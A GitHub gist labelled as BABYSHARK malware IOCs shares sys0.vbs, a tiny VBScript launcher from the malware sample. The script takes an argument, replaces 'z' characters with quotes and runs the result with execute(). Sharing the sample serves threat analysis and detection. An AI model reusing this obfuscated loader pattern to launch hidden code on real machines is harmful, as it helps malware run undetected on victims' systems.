Skip to content

Instantly share code, notes, and snippets.

@JohnHammond

JohnHammond/sys0.vbs Secret

Created February 23, 2022 19:09
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save JohnHammond/d59b9dc0858c4e0e7a1216f7a7eab636 to your computer and use it in GitHub Desktop.
Save JohnHammond/d59b9dc0858c4e0e7a1216f7a7eab636 to your computer and use it in GitHub Desktop.
Download ZIP
BABYSHARK malware IOCs, sys0.vbs and sys1.vbs have the same contents.
Raw
sys0.vbs
On Error Resume Next:
set oFilesToEncode = WScript.Arguments
file = oFilesToEncode(0)
file = Replace(file, "z", """")
execute(file)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment